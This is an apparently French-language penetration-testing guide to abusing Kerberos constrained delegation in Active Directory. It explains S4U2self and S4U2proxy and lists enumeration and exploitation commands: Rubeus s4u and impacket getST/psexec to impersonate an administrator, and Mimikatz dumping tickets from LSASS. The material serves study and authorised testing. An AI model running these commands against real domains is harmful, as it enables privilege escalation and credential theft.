La Constrained Delegation (délégation restreinte) a été introduite pour limiter les risques liés à l'Unconstrained Delegation. Au lieu de faire confiance à un serveur pour s'authentifier n'importe où au nom de l'utilisateur, on restreint cette confiance à une liste spécifique de services (SPN).

Il existe deux variantes importantes :

1. Kerberos Only (sans transition de protocole) : Le serveur ne peut déléguer que si l'utilisateur s'est initialement authentifié via Kerberos.

2. Any Authentication Protocol (avec transition de protocole) : Le serveur peut déléguer même si l'utilisateur s'est authentifié via un autre protocole (NTLM, etc.). C'est cette variante qui est la plus intéressante pour un attaquant, car elle permet d'abuser de l'extension S4U2Self.

Le mécanisme en jeu (S4U - Service for User) :

• S4U2self (Transition de protocole) : Permet à un service de demander un TGS pour lui-même au nom d'un utilisateur arbitraire (sans connaître son mot de passe).

• S4U2proxy : Permet à ce service d'utiliser le TGS obtenu via S4U2self ou un TGS forwardable d'un utilisateur pour demander un nouveau TGS vers un autre service autorisé (la cible de la délégation).

Détails de l'exploitation : S4U2self & S4U2proxy¶

L'exploitation de la délégation contrainte repose entièrement sur les extensions Kerberos S4U. Le scénario d'attaque dépend de la configuration de la délégation.

Cas 1 : Délégation avec Transition de Protocole (TRUSTED_TO_AUTH_FOR_DELEGATION)¶

C'est le scénario le plus avantageux pour un attaquant. Si un compte de service est configuré pour la délégation avec "Any Authentication Protocol", cela signifie qu'il peut utiliser la transition de protocole. L'attaque se déroule en deux étapes (S4U2self puis S4U2proxy), entièrement gérées par les outils.

Cas 2 : Délégation "Kerberos uniquement"¶

Si la délégation est configurée en "Kerberos only", le compte de service ne peut pas initier l'étape S4U2self pour un utilisateur arbitraire. Il ne peut que réaliser l'étape S4U2proxy. Cela signifie que pour que l'attaque fonctionne, un utilisateur (par exemple, un administrateur) doit d'abord s'authentifier réellement via Kerberos auprès du service compromis. Ce n'est qu'à ce moment-là que le service obtiendrait un ticket forwardable qu'un attaquant pourrait abuser. Ce scénario est donc beaucoup plus opportuniste.

Énumération¶

Cas 1 : Transition de Protocole¶

On cherche les comptes qui ont le flag TRUSTED_TO_AUTH_FOR_DELEGATION.

# PowerView
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# Module ActiveDirectory
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo,samAccountName,userAccountControl | ?{($_.userAccountControl -band 0x1000000)}

Cas 2 : Kerberos Uniquement¶

On cherche les comptes qui ont une valeur dans msDS-AllowedToDelegateTo mais SANS le flag TRUSTED_TO_AUTH_FOR_DELEGATION.

# PowerView
Get-DomainUser -TrustedToDelegate
Get-DomainComputer -TrustedToDelegate

# Module ActiveDirectory
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo,samAccountName,userAccountControl | ?{!($_.userAccountControl -band 0x1000000)}

Exploitation¶

Exploitation du Cas 1 : Avec Transition de Protocole¶

C'est le cas le plus simple. On a compromis svc_compromis et on veut accéder à cifs/serveur_cible en tant qu'administrateur.

Avec Rubeus¶

La commande s4u de Rubeus effectue les deux étapes S4U2self et S4U2proxy.

# /impersonateuser: l'utilisateur à usurper
# /msdsspn: le service cible autorisé pour la délégation
Rubeus.exe s4u /user:svc_compromis /password:LePassword /impersonateuser:administrateur /msdsspn:cifs/serveur_cible /altservice:cifs /ptt

Avec Impacket¶

getST.py réalise également les deux étapes S4U2self et S4U2proxy.

# -impersonate: l'utilisateur à usurper
impacket-getST -spn cifs/serveur_cible -impersonate administrateur -dc-ip $ip_dc $domaine/svc_compromis:LePassword
export KRB5CCNAME=/path/to/administrateur.ccache
impacket-psexec -k -no-pass serveur_cible

Exploitation du Cas 2 : Kerberos Uniquement¶

Ce scénario est plus complexe et opportuniste. On a compromis le serveur SRV-DELEG sur lequel tourne un service svc_deleg qui a une délégation contrainte "Kerberos only" vers cifs/SRV-CIBLE.

1. Attendre une connexion et intercepter le ticket

   L'attaquant doit attendre qu'un utilisateur à haut privilège (ex: admin_domain) s'authentifie sur SRV-DELEG via Kerberos. Lorsque cela arrive, un ticket de service (TGS) pour svc_deleg au nom de admin_domain sera présent dans la mémoire de SRV-DELEG.

2. Dumper les tickets en mémoire

   Avec des droits élevés sur SRV-DELEG, on peut utiliser Mimikatz pour extraire les tickets Kerberos de LSASS.

   mimikatz # privilege::debug
   mimikatz # sekurlsa::tickets /export
   

   Cette commande exporte tous les tickets dans des fichiers .kirbi. L'attaquant doit trouver le bon ticket : celui du client admin_domain pour le service [email protected].

3. Utiliser le ticket pour S4U2proxy (Rubeus)

   Une fois le ticket [0;XXXXX]-2-XXXXX-admin_domain@[email protected] trouvé, on l'utilise avec Rubeus pour demander le ticket vers le service final. C'est l'étape S4U2proxy.

```powershell

/tgs : Le ticket de service forwardable qu'on a dumpé¶

/msdsspn : Le service cible final¶

Rubeus.exe s4u /user:svc_deleg /password:Password /tgs:ticket_dumpé.kirbi /msdsspn:cifs/SRV-CIBLE /ptt ```

Rubeus utilise le ticket fourni pour demander un nouveau ticket au KDC pour le SPN cifs/SRV-CIBLE et l'injecte en mémoire. L'attaquant peut alors accéder à SRV-CIBLE en tant que admin_domain.